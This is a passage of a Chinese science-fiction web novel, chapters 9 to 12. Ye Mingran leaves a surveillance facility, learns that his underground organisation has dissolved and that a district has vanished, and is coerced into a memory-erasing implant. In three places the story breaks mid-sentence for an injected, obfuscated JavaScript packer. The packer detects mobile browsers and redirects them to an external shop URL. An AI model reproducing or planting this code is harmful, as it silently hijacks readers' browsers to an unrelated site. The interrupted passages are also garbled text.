叶明冉立刻放下了手，这才发现这个再移动的液体是刚才的神经粘合剂。而且，这粘合剂还音乐有一种拼成字的印象。 叶明冉看到结合剂如同河流一样，在自己的手背上出现了四个字。“组织”“婚戒”。 赫塞还在操作台上，这个房间里面可以用神经电流操纵粘合剂形状的只有彼得。叶明冉抬起头来看着彼得，却发现后者只给了他一个后脑勺。 对了，这里也有行动监控。叶明冉猛然反应过来了。 他迅速把手上抹了个干净，然后低下头露出一种有点不好意思的样子来，“彼得，我能不能请第一次假。”他说，仿佛是害羞手都蜷成了一团，其实是想把因为紧张而狂抖不止的手指给藏起来。 “我能不能要求第七周外出。我想看一看，我未来的家人。”叶明冉说道。 9. 第 9 章 叶明冉醒来的时候，发现他躺在A区一家胶囊旅馆的房间里，两个月前他进巨蛋时候身上穿着的衣服叠得整整齐齐地放在他的身边。叶明冉在自己的上衣口袋里面摸到了剩下的一支睡眠剂。 叶明冉三下五除二就把身上那件在外面穿着怎么看怎么奇怪的白大褂换了下来。 他本来尽快将现在的情况告诉组织，最好还可以顺便确认下彼得的身份。 不过，本着不套情报白不套的原则，叶明冉还是在出胶囊旅馆的时候还是假装熟络地和门口那个在打瞌睡的小伙子打了个招呼，“嗨，我大概是喝多了被抬进来的，我怀疑我没有登记我的国民ID，你能让我补登一下么？”叶明冉露出了一个热情熟络的笑容，根据他的经验，服务人员一般都喜欢善解人意的顾客。 哪知道小伙子眼睛都没有抬一抬，他指了指放在自己面前的一块液晶屏。 叶明冉看了一眼，发现上面写的是“半夜无业人员收容所。” 叶明冉：…… “没人把你送过来，是自动收容车在路上的时候把你扫进来的。收容时已经扫描了你的ID。我们通知了你登录在国民信息中的电话号码，发现并没有人接听，我们建议你换个号码。”小伙子快速地说道，末了还补充了一句:“这里不提供工作机会，也不提供饮食。” 原来是个政府收容机构。 那估计他就是和路边那些罕见的流浪汉一样被收容了。这些机构为了强调保护隐私从来不会收集任何关于被收容者的信息，自然无迹可寻。 “他娘的一点漏洞都没有。”叶明冉在心里嘀咕了一声，虽然是预想中的结果，但是还是有点沮丧。 他还是第一次住在A区，却对A区有种似曾相识的印象。这种印象在他报第一次路过A区的时候已经有了。 当然，叶明冉没有和组织提过这件事情，倒不是出于什么想要隐瞒的目的，而是已经预测到了里面的人会有什么样的冷嘲热讽。叶明冉几乎可以想象红头发听到他这么说时候的反应:“我看你的国民ID也是A开头，你也可能其实是原本住在A区打开某些名门望族失散的孩子呢。” 叶明冉希望有能够找到和他过去记忆有关的线索，但是并不希望被消遣。 收容所的退房程序几乎可以说是没有，叶明冉很快地就在小伙子不甚友善的鄙视目光中走了出去。A区中心时钟塔上面的时间显示上午九点五十，这时候叶明冉发现他眼前忽然浮现了一个时钟，看上去如同浮在半空中一样。在叶明冉看了一眼时钟塔之后，那个小时钟开始发出了轻微的咔嚓声。 “二十四小时倒计时开始，如果不能在明日此时赶到指定地点，你将被无法再回到巨蛋。注意。”居然还播放了一段贴心的提醒。 叶明冉这时候才知道没有屏蔽芯片是多么的不方便，除了“真理”，什么乱七八糟的东西都会涌进来，这样人的脑子还有什么多余的精力去思考什么东西呢。 他想，巨蛋正是想用这种东西消磨国民的热情与创造力。 现在最紧要的任务是找到“组织”的人，和他们说说现在巨蛋里面已经开始怀疑的事情。当务之急，还有屏蔽芯片的故障问题。只是——他抬眼看了亮堂堂的天空，觉得现在去D区的红灯区恐怕也太引人注目了点。 最稳妥的做法，是待到夕阳西下的时候，在时钟塔那里混在那些常客里面一起做跨区巴士过去。 只是那之前的时间未免太难打发了点。 叶明冉看着一个身材佝偻的老头，穿着一身显然有点过于宽松的西装，在街道的一个花店里面买了一束花。 “这个老头几乎每天早上都来买花。然后他一直走到这条路的尽头，然后左拐。”叶明冉看着老头摇摇晃晃地提着一束紫色的薰衣草，左拐后消失在了叶明冉的视线里。 叶明冉不知为何，神差鬼使地想起了左耳畔别着一朵小雏菊的少女的影像。 那是什么来着?叶明冉在同样有点炫目的阳光下想。 对了，那是前天他神差鬼使的去搜关于少女的记忆的时候看到的记忆残影。就是这条街道，这个老头每次也会出现在别人记忆的边角里。 叶明冉记得，在那段记忆里面他只看到了少女的侧脸，也许比他之前看到的侧脸还要少一点。 可是他一句脏话也没有骂出来。相反，他觉得他好像能从那个带着露水的雏菊上，嗅到令人心旷神怡的清晨的清香。 那清香，也一定沾染在了少女的头发上。 叶明冉漫无目的地想着，想起了他和彼得在讨论批假时候的对话。 “什么叫你未来的家人?你的档案上面不是填的你是孤儿么?”老头放下了试管也不看人，眼睛盯着天花板问叶明冉。叶明冉顺着他的视线望去，看到了隐藏在天花板上的一个个装饰一般的小洞——现在他知道了，那些都是摄像头。 叶明冉向着摄像头大方地展示了下中指上的戒指。 彼得做出了了然的神情，后来又好像想起了什么，撇了一眼桌子上的信息终端——这次的形状是个茶杯:这东西在巨蛋里面的设置密度已经到了惨绝人寰的地步，形态千奇百怪。叶明冉在见识过记忆库里面可以随着意识变形的操作台之后对这些都已经见怪不怪了。 “可是我看你的档案上面附加的条件是:刑罚嫌疑对象，在你的嫌疑洗清前你好像不能和你……未婚妻，呃，去见面？”彼得说。 叶明冉点了点头:“我知道，我不会让她看见我，我只是打算远远的看一眼。这个可不违法。” 彼得脸上的皱纹更明显了。不过两人等了五分钟，也没有听到什么指示。 可见叶明冉的这条言论作为“正确的知识”，成功得通过了巨蛋的筛查。 “好吧。”彼得说，吹胡子瞪眼地加了一句，“去了外面记得把你的戒指给收一收。” 叶明冉那时候并没有想太多，只是想找个正当理由出去。 他一点也没想到，竟然在外界的接驳点真的在他经常看到的记忆所在的附近——好像是谁安排他在这里等着一样。 “我只是正好来到这里的。我说去和偷偷看她一眼只是一个幌子。但是，如果她凑巧在附近我干嘛不看一眼呢？” 叶明冉开始了徒劳无功的自我说服，人却靠在花店门口的一根大理石柱子上，不走了。 他自己都没有意识到，他已经无意识地看了很多遍这个附近的影像，比如他知道她的家也许在这个附近，知道她散步的时候一半低着头，偶尔会抬起头稍微看一眼这个店的位置——也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579056|143074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许里面有什么好看的花吸引她的视线。 叶明冉也知道，他现在正站在一个最佳的角度，只要他看到路上的行人之后稍微移动一下脚步，别人是看不见他的。高大的柱子会为他挡住周围的视线。 他还没忘记彼得莫名其妙的嘱咐，把带着戒指的右手藏在了大衣口袋里。 花店的立地非常不错。不一会儿，已经有好几个人进了花店，选择好了喜爱的花又匆匆离去，离去的时候还会偷偷打量下叶明冉。 叶明冉就是这个时候唐突地想要买一束花的。不过这个念头还没有两分钟，他就开始了自我嘲讽:“你要买给谁呢？” 那一瞬间，叶明冉站在了喧闹的A区的中心，周围走过的人的思维透过故障了的屏蔽芯片，把叶明冉头脑里面最后一丝清净榨得一干二净。 这并不是因为过度安静而起的孤独。 他忽然极其渴望少女可以出现，或者任何一个他认识的什么人能够出现在他的视野里，让他远远看上一眼。 可是，他那仅仅只有一年多的记忆注定了他没有太多的认识的人，或者说,值得记住的人。 他忽然知道他为什么看到红头发可能暴露了的时候这么急着出来了，因为那是是这世上他为数不多的几个伙伴之一。 只是，他心头还是浮现了一丝奇妙的违和感:A区的人什么时候变得这么少了？ 时钟塔附近理应是最繁华的地带，叶明冉记得在那些流传在D区的传说里面，这一带从早上的“真理”早会，到晚间的狂欢活动，连附近都街区都会被狂热的人群所挤满。 先在走过来的人一般都是行色匆匆，还有一些人面露警觉，举止显得随意却十分训练有素。倒是像便衣的猎犬。 叶明冉想到这里，就在心里笑了。他觉得大概是自己无聊地过了头，开始对周围疑神疑鬼起来了。 D区的传说来源十有八九来自那些来源不明的脑洞所拼凑而成的通俗小报，叶明冉有点羞愧自己居然当了真。 等待的时间凝固一般都漫长，不知不觉已经临近傍晚，叶明冉听到一声非常长的叹气声。 花店的店员是个皮肤有点黑的小伙子，叶明冉时不时可以感觉到他的视线。现在客人越来越少，他就趴在一张桌子上打哈欠。 “要关门了，你……你要买什么？”叶明冉听他结结巴巴的口气，猜想自己现在的样子大概像个有犯罪意图无业游民——实际情况也好像没什么差。 小伙子的目光不断向着叶明冉揣在口袋里面的手上瞟，好像怕他突然从里面掏出一个什么武器来抢劫。 “……不用了。”叶明冉苦笑道，又看似随意地问道:“我能不能问一件事?” 他根本没想知道什么，只是为了打破尴尬的氛围，顺便表示下他不是个坏人罢了。 没想到小伙子竟然如临大敌，退了一步:“你……你想干什么？我告诉你，我是不会受你们蛊惑的。戒严时期我们这里可是随时可以叫来检察官的。” 他的句子内容十分理直气壮，可惜说话的声音喜感地带上了一点有哭腔。 叶明冉想:“这年头，通过闲聊进入谈话表示下友好也不行了么？” “为什么要戒严?检查官在这里干嘛?”叶明冉好奇地问道。 10. 第 10 章 小伙子看到他的威胁毫无用处，急得脸都涨得通红红了，可是他人比较黑，所以不甚明显。 刚才那一篇长篇大论的威胁已经耗尽了他所有的单词，他想说的话一句都说不出来，只好徒然地摆了一下手臂,却不小心碰到了身后的花瓶。 只听见“呯”的一声脆响，那个半人高的架子上，装着几只孤零零地没卖出去的百合的花瓶倒了下来，瓶子没有破，但是里面的水流了一地。 小伙子:…… 叶明冉:……他无奈地走上去，伸出手打算去给它把花瓶扶起来。虽然不知道原因，显然是自己把人家吓成这样的。 “好了,你不用再演了，就是他。”忽然叶明冉耳畔响起一个熟悉的声音，叶明冉惊讶不以己地抬起头，只见花店里面的一扇小门开了一条小缝。 “关门啦！”小伙子好像换了一个人一样，忽然非常响亮地喝了一嗓子。花店的自动门应声而下，一下子就把外面隔了个干净。 门完全落地时发出一声轻微的咔嚓声，天花板上的吸顶灯也应声而开，一个穿着西装的短发男子从花店里面的校门里面走了出来。 小伙子轻声叫了一声：“老板。” “好久不见了。两年了，还以为你已经为了组织的伟大事业牺牲了呢。”他说道，熟络地敲了敲叶明冉的肩头。 叶明冉目瞪口呆地看着眼前这个一头灰色头发的青年，青年的脸是他十分熟悉的样子，只是眼角多了一点皱纹，为他之前玩世不恭的表情添了一点沉静的味道。而且，他的这身行头—— “是谁说过这辈子就是砍头也要染红发，裸奔也不穿西装，饿死也不关酒吧的，老板？”叶明冉按捺住心头汹涌的波涛，维持着表面的淡定问道。 原来的酒店老板——现在的花店老板被他说得愣了一下，旁边的小伙子已经急着回答了：“酒吧没有了。” 叶明冉皱眉道：“怎么回事？”忽然想起刚才花店老板说两年没见的事，心里想到难道你们的基本计算能力也跟着没有了么？ 花店老板用很奇怪的眼神打量了下叶明冉，他的审视如此之细让叶明冉有点毛骨悚然了。 “你为什么会在这个时候从巨蛋里面出来呢？”半晌，他问道。 叶明冉这才猛然想起不是叙旧的时候，他连忙把之前看到的记忆和检察官的话给他转述了一遍，末了他说道：“巨蛋并不是完全封闭的，他们给了我两个月一次外出的假期。还有，我的芯片似乎坏了。” 叶明冉说完才发现小伙子的嘴微微张着，用一种看着怪物的眼神看着他。老板的皱起了眉头，称着他眼角的皱纹都深了一点。 叶明冉想，幸好当年没正式加入“组织”，不然肯定很累。 “叶明冉，我想和你确认一点事情。但之前，你得做好心理准备。老板忽然开口了，用的居然是无比严峻的语气。 “首先，根据单方联系判定规则，你在我们档案上已经定为失联状态，因为你失踪已经两年，确切来说，是一年九个月左右。很抱歉没有将这个计算精确到天，因为它已经显然远远大于了三个月。”他一边说话，一边看着叶明冉的表情由茫然变得惊讶，“我知道你想问的问题很多，但是先让我说完接下来的话。” 他接着说道，“我们对你冒险出来提醒的行为表示感谢，日后我们依然需要你的帮助。但是，请注意一件很重要的事情：‘组织’本身已经不存在了。” 叶明冉刚刚一年九个月的时候就处于一种茫然的状态，此时听到“组织”不存在的事实，觉得更加迷茫了。 奇怪了，叶明冉想，为什么这么大的事情他说出来时候表情会这么平静呢？boss是死了么？那么他之前和组织的协议怎么办？他的记忆怎么办？ 在这时候，一个微弱的提示音把他拉回了现实：“提醒，距离睡眠剂失效还有十二小时。” “这到底，是怎么回事？”叶明冉艰难地开了口，他意识到，似乎在他进入巨蛋的那段时间里面，很多东西都变了。而他必须在有限的时间内把它们全部弄清楚。 老板迅速看了他一眼，似乎为他调整迅速而感到了欣慰：“时间有限，先从你的事情开始解决起。你去找个人看看芯片能不能检修。”他对小伙子说道，后者立刻脚步轻快地从那扇小门出去了，看来那里面连着一个可以外出的小门。 叶明冉目送他一路小跑出去了，还关了门，“这个人是A区的一般国民么？” 老板道：“是的。但是他是我们的伙伴，而且是可以信任的。”他迎着叶明冉怀疑的目光，补充道：“我也并不是想要支开他，只是他的哥哥正好是个芯片机械师，这个时间找不到别的人了。” 老板：“长话短说，首先我们也是第一次知道这个信息，你也应该隐隐约约已经察觉到了——巨蛋里面的时间流速和这边是不一样的。所以出现的一个现实是，你那边只过了七个星期，可是其实已经过了一年多。这个期间，发生了很多事情，boss做出了解散组织的决定。”他又补充了一句，算是回答叶明冉最开始的问题：“D区也没有了，红头发在A区太扎眼了所以染了。裸奔得判一次□□死刑吧。” 叶明冉：“什么叫……D区没有了？” 这时候，忽然小门那边传来一阵很轻脚步声，看来是小伙子带着他的哥哥回来了。“这声音，还有三分钟人估计就到了。”老板精确地估计了下两人的到达时间，停住了和叶明冉的对话，去了花店里面拿出了一个一套茶具。 他一边往壶里加水，一边把几个小杯子排了出来，和叶明冉嘀咕道：“技术人才总是被尊敬的，就是人一个个都是些怪胚。这个就是个只喝矿泉水泡新茶的。“ 叶明冉看着他拿出茶叶包直接往茶杯里面放的样子，忽然觉得他和当年往啤酒里面掺水的时候并没有什么改变。而且，刚刚明明在水壶里面加的是自来水。 老板一边注水一边继续说道：”我根本不懂那套规矩。反正等下茶包拿出来谁知道是怎么泡的茶啊。以前开始我觉得礼遇就没什么用，老容易培养出白眼狼。以前组织还在的时候，还有神经操作师自告奋勇进入了巨蛋呢。可惜，没有你小子这么良心。那个人好几十年了还在失踪档案上面挂着名字，估计是不会回来了。” 叶明冉忽然知道了他说的是谁。可是，在他做出反应之前，那扇小门已经一下子打开了。刚刚出门的小伙子带着一个个字比他高半个头的长发男子提着一个黑色的公文包出现在了两人眼前。 花店老板还维持着把茶包拉出茶杯的姿势，这时候机械师忽然发出了一阵笑声：“哈哈哈，我说他肯定是用速泡茶叶包打发我的啊。下次我们走路的时候脚步再放轻点，还能看到他是不是放的自来水。” 叶明冉看到老板的手有点抖，似乎是想把茶叶包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579057|143074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起丢到对方脸上，但是想到这次是有求于人的，只好接着把茶包拿了出来，轻轻丢到用来毁尸灭迹的垃圾桶里。 “不好意思，正好好茶用完了。”他赔了一个笑脸，和以前卖掺水啤酒的时候一样真诚，叶明冉对此这种没脸没皮的做法经常束手无策，只能付钱。 机械师好像是叶明冉的同类，脸上的表情僵了一下，随后好像不想多看他一眼一样，转向叶明冉：“要修屏蔽芯片的是你么？” 叶明冉点点头。机械师随即打开了公文包，从里面拿出一个扁圆的小机器来。 叶明冉看那个机器觉得极其眼熟，他想起那个检察官也用过它来查看信息，他们叫它什么来着？情报终端？这种东西也是一般人可以配的么？ 机械师注意到了叶明冉的眼神，满不在乎的笑了笑：“你认识这个啊？没错，我就是检察官，这个东西检测可方便了。” 听到“检察官”三个字，叶明冉满眼震惊地看向花店老板，老板轻轻点点头，示意他不用担心。 “哟，你们从哪里找来的这个什么都不懂的小子？外围？”机械师表情夸张地问道。 “他在''组织’还存在的时候就是我们的一员了，只是去了巨蛋。那里时间流速似乎有点不一样，这个等下再和你说。还要你去分析他的原理呢” 机械师听到巨蛋的时候眼睛闪烁着光芒，“什么？时间流动不一样？是通过什么场来实现的么？” 小伙子在一旁似乎也看不下去他哥哥这突破天际的骗提能力，“老板不是说了之后会告诉你了么。总之现在先给他把芯片修好。他还是挂着反人类罪的，万一给‘真理’读到相关记忆可是极刑。” 叶明冉发现，这个机械师似乎挺听他弟弟的话的。闻言立刻不再言语，而是默默打开了探测器。 只是，叶明冉也不知道到底是不是自己的错觉，他发现机械师听到极刑两个字，脸色忽然有点发白。 “你的屏蔽芯片好像不太对劲。局部电路损毁——它已经基本失去了模拟回复的功能了。你到底在里面经历了什么，让它磨损得这么快？”机械师一边看着影像上被透射投影出来的芯片图像，一边问道。 叶明冉还没有来得及回答，花店老板已经没好气地回了一句：“现在赶时间，能不能快点把它修好再问问题？”。 鸡冠头无辜地摊开了双手：“问题是我并没有准备替换品。这个元件的理论寿命比你剩下来的寿命都要长，我也从没有听说过它会局部故障。” 老板听到自己的·寿命就这么被定义了，有点气打不过一处来：“这里的人的平均寿命有两百岁，你有这个心思咒别人命短就不能用你那聪明的头脑考虑下整体换掉可不可行么？” 机械师争锋相对道：“整体换掉，你以为现在我每天要为多少人装屏蔽芯片，你们的制造跟上了么？国民平均寿命两百岁什么的，你也被巨蛋洗脑过了？知道两百岁是怎么算的么？从来自外围大荒原算起的？” 叶明冉听到他们说道外围的事情，忽然想起了刚才老板说的D区已经不在了的事情，顺势问道：“刚才你说D区已经没有了，是怎么回事？” 两个人都是一愣。然后，机械师先行叹了口气，扶额道：“怎么他什么都不知道？” 老板面带讽刺地说道：“我和他说道一半的时候你刚好来了，我要给你泡茶结果就把他给落下了。” 11. 第 11 章 机械师：…… 然后他无力地摆了摆手，示意自己吵架输了，把话题拉了回去：“不过，他的芯片只是阻止外界信息渗透进来和模拟反馈的功能出了点问题，‘真理’依然没有办法探测到他脑中的想法，从这个意义上来说这是安全的。不过，为什么是这两项机能坏掉呢？你是不是在巨蛋里面被大量消耗测试了？” 叶明冉问：“什么叫大量消耗测试？” 机械师解释道：“就是你大量的使用了需要屏蔽外界声音或者模拟反馈功能，以至于它们局部达到了使用次数的上限，从而造成了磨损。” 大量使用……叶明冉忽然脑子里面冒出了一个想法，“我在巨蛋里面管理国民记忆库，每天会有大量记忆流通过一个被他们称为‘操作台’的地方，而我会在那里面进行我的工作。现在想来，会不会那个操作台本身就是我脑中的什么东西？如果是这样的话，那么很多东西可以随着意念任意操纵就讲得通了。” 机械师这时候忽然眼睛一亮，整个人都向着叶明冉铺了过去，按住了他的肩膀：“你说什么？巨蛋里面有个可以凭借意念空间？那个是由什么东西造出来的。” 叶明冉回忆了下实验室周围的那些机器，以及会随着诱导剂与神经连接的那些导线，说道：“好像是外面有一个机房，然后通过某种方式连接神经去实现的。” 机械师闻言，惊异地长大了嘴，还想开口然后忽然被老板一手拉开，“你差不多也问完了，懂了什么就自己一边凉快理解去。来，叶明冉，我给你接着说D区和组织的事情。” 叶明冉被机械师到最后都没放开的手差点扯得摔了一跤，稳住之后发现他们这么一扯淡就花掉了四个小时。 离他回去还有不到八个小时了。 “我最担心的我的想法会被读到，这样包括我在这里听到的话可能都会流入巨蛋的超级计算机里了。”不过，他没有说，他现在有国民数据库的操作权限，视情况是可以将这一段去掉的。不过，叶明冉也不知道他能不能做到，而且，有可能看到这段记忆的不是他自己，而是赫赛。 老板听了他的话，也陷入了沉思,转向机械师问道:“有没有可能剩下的那个元件也坏掉?” 机械师只想了一会儿，说道:“从他刚才自己的叙述，之所以出现局部的损耗过大，最大的原因推测为是因为他在短时间内接受了过多的外部记忆。而显然真理并不会每次要求反馈，所以屏蔽读取思想这个功能理应是正常运行的。” “理应……”老板皱眉重复了一下。 机械师觉得很抓狂地抓了一下自己的头发:“你不是又在想那个邪门元件吧？我告诉你，帮助你们开发那个是我一生的耻辱。”他的动作十分滑稽，语气却十分严肃，叶明冉觉得，他的眼睛还偷偷地看了一眼他弟弟那边，只是后者没有发现，只是用一种崇拜的眼神注视着这边。 老板的头微微低了一点，灰色的头发遮住了他的眼睛：“我们不会再在没有经过本人同意的情况下使用它的。”然后他抬起头，好像下了什么决心一样，看向一直好像处于事外的叶明冉。 “我们其实有一种技术，可以确保你脑海中的想法在不被巨蛋读取。”他顿了下，深深吸了口气。叶明冉看到机械师的右手紧紧握成了拳，好像在等老板下一句话要是不符合他的心意就一拳揍上去。 老板对他尖锐的目光视若无睹，“叶明冉，这是一种玉石俱焚的装置。它其实就是一个微型的芯片状态检测器，相当于模拟的“巨蛋”，因为你现在的反馈器已经处于无效状态，一旦它检测到你的头脑中存在任何想法，它就会销毁那个源头。”机械师睁大了眼睛，紧握着的拳头慢慢张开，“你……你居然全部都讲了。” 老板紧紧抿着嘴唇，露出了一个不甚好看的笑，叶明冉觉得他似乎在对机械师说“这下你满意了吧。” 机械师的手缓缓地放下来了。 叶明冉问道：“什么叫销毁源头？” 机械师说：“就是抹去记忆本身。” 抹去记忆四个字，在叶明冉脑子里面如同一个重物落下去，发出了沉重的响声。 之后却是一片死一般的寂静，“抹去记忆是什么？我会死吗？”他漫无目的地想到，却被老板有些焦虑的声音拉了回来。 心思飘摇的叶明冉听来，他的声音反而有点不太真实：“叶明冉，在你做决定之前，我要和你详细说一下我们现在的情况。时间有限，我们希望你考虑这个方案，会回答任何你想知道的问题，希望你是在完全理解并认同的情况下做出决定。” “安装检测器需要大概四个小时，你们还剩下不到三个小时说话。”机械师大声补充道，叶明冉在他脸上看到了期待和不忍两种真实的表情。 原来，人在做出进退两难的选择时，表情是这样的。叶明冉漠然地想到。 那在逼迫别人做出进退两难的选择时呢？叶明冉抬眼看了一下老板，老板的眼睛和他对视了一秒，然后躲开了。 总觉得有点不大对劲，叶明冉想。 叶明冉觉得他们两个人虽然有一种矛盾，但是整体来说在对话的引导上面非常顺利——两个人似乎都在把他往安装那个检测器但是什么都不问上面引。 “我要关于巨蛋记忆抽取和解析技术的所有资料。”叶明冉抬起了自己的右手的戒指，“我还要知道‘组织’到底想做什么，以及你们希望从我身上得到什么。” “接下来你说的话，我会自己来判断是否合理。最好不要让我发现你们在合伙说谎，否则……”叶明冉在自己左边的太阳穴做了一个挖掘的手势，那是屏蔽芯片植入的位置。 老板和机械师两个人面面相觑了一下，叶明冉毫不退让地和他们对峙着，花店里面的气氛忽然达到了一个冰点。 “啪啪啪……”这时候忽然平白无故地想起了一阵掌声，那掌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579058|143074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声隔着一道小门，声音很低却十分清晰。 “很好。我说过你们的把戏骗不过他的。”一个叶明冉一生也忘不了的声音，带着一点欣赏说道。 这时候门口传来一阵几乎听不见的脚步声，但是更加引人注意的是什么东西敲击着地板的声音。 老板一听到那个声音，立刻三步并两步掠过叶明冉，冲向了那扇小门。他只把把手轻轻拧开，打开了一条缝就开始在门口低头站着。 机械师也收起了玩世不恭的样子，用一种郑重无比的目光盯着那条小缝。 那阵敲击声随着门开了一条小缝逐渐清晰起来。 叶明冉看到一张熟悉的布满皱纹的脸，左边的脸颊上从耳根到嘴角有一条暗红色，仿佛绕了他的脸的半边轮廓一圈。 “BOSS……”老板随着他走进门来，立刻紧张地鞠了一躬。被称为BOSS的老人用左手示意他直起腰来，这时候叶明冉才发现，他的右手居然拄着一根拐棍。 下面的右腿袖子飘荡在空中，空空如也。 “你……你的腿……是怎么回事？”饶是叶明冉在他出现时已经知道了两个人的行为都是出于眼前这个人的指使，此刻看到BOSS忽然变成了一个断腿残废，也没有按捺住心底的惊呼。 BOSS抬起满是皱纹的眼皮看了叶明冉一眼，仿佛觉得好玩一般，问道：“这是要再加一个问题么？”他的眼睛十分清澈，和他的苍老的外表很不相称。 看到叶明冉目瞪结舌的样子，他似乎觉得有点可惜地叹了一口气。 “一开始我就觉得你挺有趣的。毕竟两三年前自带着屏蔽芯片的人并不多，可能是以前的什么实验品。”也不知道他是想找人怀旧还是自言自语，“而且你还带着个类似于记忆媒介一样的戒指，关键是它的内容是当时我们没法破解的。你知道我当时想的是什么么？”他问叶明冉，叶明冉从他的叙述中感到一阵发毛——倒不是因为感到了难以言喻的恶意，而是因为他说话的时候居然没有包含一点感情。 实际上BOSS也没有想要征求叶明冉的意见：“我觉得你是一个可用之才。为我们入主巨蛋。” 谁知道BOSS只是轻轻摇了摇头，同时左手打了个轻轻的指响——小门边那阵脚步声忽然停下来。 “你们不需要出来。”他说道，然后他饶有兴趣地看了一眼叶明冉。“你非常的优秀。” 叶明冉眯起眼睛:“现在安抚人心都是这么没诚意的么？” BOSS呵呵一笑，叶明冉的心忽然下沉了。 要么他有什么筹码，要么他在虚张声势。 筹码什么的。 叶明冉有眼角撇了一眼机械师兄弟，小伙子看着这一切的目光里面满是不知所措，机械师虽然眼睛是盯着叶明冉的，但是叶明冉觉得他的注意力完全在他弟弟身上——他紧绷的肩膀说明了这点，而且他还不动声色地把他弟弟挡在了身后。 12. 第 12 章 至于老板，叶明冉现在觉得他肯定是有什么把柄在别人手上。 叶明冉忽然感觉到了自己没有记忆、孑然一身的好处。他撇了一眼手上的戒指，也觉得有点可悲。他唯一的寄托就在握在自己手上，而他要寻找的东西却连自己都不知道。 BOSS注意到了他的目光，忽然笑了:“哈哈哈，果然我没有想错。世界也真是个奇妙的东西。没想到你自己会会暴露这个弱点。” 一瞬间，叶明冉是茫然的，他心想:这个戒指是个什么弱点，大不了大家玉石俱焚，反正我的损失永远不会比你更大。 这时候花店老板忽然走到了那排花架上，从后面一排的瓶子里面捞出了一朵玫瑰。 他看向叶明冉的眼神十分愧疚，但是很快恢复了常态用眼神询问BOSS的态度。 叶明冉看到那朵玫瑰的时候，印象里面的记忆忽然苏醒了过来，他仿佛嗅到了一阵玫瑰的清香。这一朵花，忽然让他想到了他为了出来找的借口，以及他在这里等了一天还没有等到的人。 他知道了为什么BOSS会饶有兴致地注视他的戒指。他有点后悔，三个月前在小酒吧里面对着老板侃侃而谈他是如何灵机一动地把这个戒指变成了“一个女孩送的订婚戒”而蒙骗检察官；他也后悔刚才白天像根柱子一样站在花店门前这么久。 “听说你在这里等了一天的人，从造成等到日落?我记得你是没有亲人朋友的吧？你在等谁？” 叶明冉深深吸了口气，说:“我在等我的邻居，以前像个钩子的那个。” BOSS有些悲悯得看着他:“你说的是你在D区的朋友?你知道D区已经不在了么？” 叶明冉:！！他这才想起来还有这么一件事，其实一开始他们就说了，只是之后的信息量太过巨大，他没有来得及问。 “D区……怎么了？”叶明冉觉得自己的嗓子被梗住了一样，发不出声音。 那里有他对于这个世界最初的记忆。 BOSS露出有点惊讶的表情。这时候老板忽然开了口:“他不知道，我还没有来得及和他说。” 他把玫瑰花放回了花瓶，叶明冉注意到那朵花可能有些日子了，外面一圈花瓣有些蔫了，有点发黑。 “D区没有了……”他说出这句话的时候眼睛流露出了痛苦，“E区之外，那块被称为外围大荒原的地方扩张了。”老板的声音透着沉重。“谁一夜之间，它就吞并掉了周围的D区和E区，包括所有的建筑了人口。30%的人口一夜之间失踪。” 叶明冉想问，那你是怎么逃出来的? 老板好像知道他的问题:“我那时候在B区给我挑酒，逃过了一劫。这都是巨蛋操纵的，为了一次性解决那些‘真理’不容易渗透的人群。他们根本不配统治这个国家。”透过他的眼神，叶明冉看到了惊人的恨意。 “所以吧，你听他刚才说得挺像回事的，现在好像一点也不惊讶呀。”耳边传来BOSS带着笑意的声音，“虽然你冷血的地方我很欣赏，不过你拖延时间的把戏也到此为止了。手术要三个小时，我们还有半个小时给你做决定，你是装还是不装?” “我们可是知道你到底在等谁。可是，你知道为什么你等了一天她都还不来么？”BOSS说道。 “你们……”叶明冉握紧了拳头。 BOSS用一种故作惊讶的目光打量着他的反应:“怎么了？你该不是以为我们不知道你在等你的未婚妻吧？” 叶明冉只觉得一种无法言语的怒火忽然席卷了他，让他觉得自己的太阳穴都在突突地跳。他自己也不知道是怎么了。 那个只是个毫无关系的人——他听到自己心里一个声音说道，可是身体就好像不听使唤一样，垂下了头，做出了放弃一切防御的姿势。 机械师快步走过来，在叶明冉还没有反应过来的时候，抬起手碰了下他低垂的脖颈。 叶明冉觉得有什么东西轻轻刺了他一下，顿时感到天和地换了个方向，机械师的脸离他很远，居高临下看着他。 黑暗渐渐弥漫前，他看到机械师垂下的手里闪着一点银光——是麻醉针。 “不用担心，我们会把你送回巨蛋的。合作愉快”这是叶明冉失去意识前最后听到的声音。 “快醒醒……” 叶明冉在黑暗中听到一个声音在叫他，可是他的头很痛，眼皮好像是铅做的。 这是谁叫的这么没有诚意……声音都冰冷冷的。 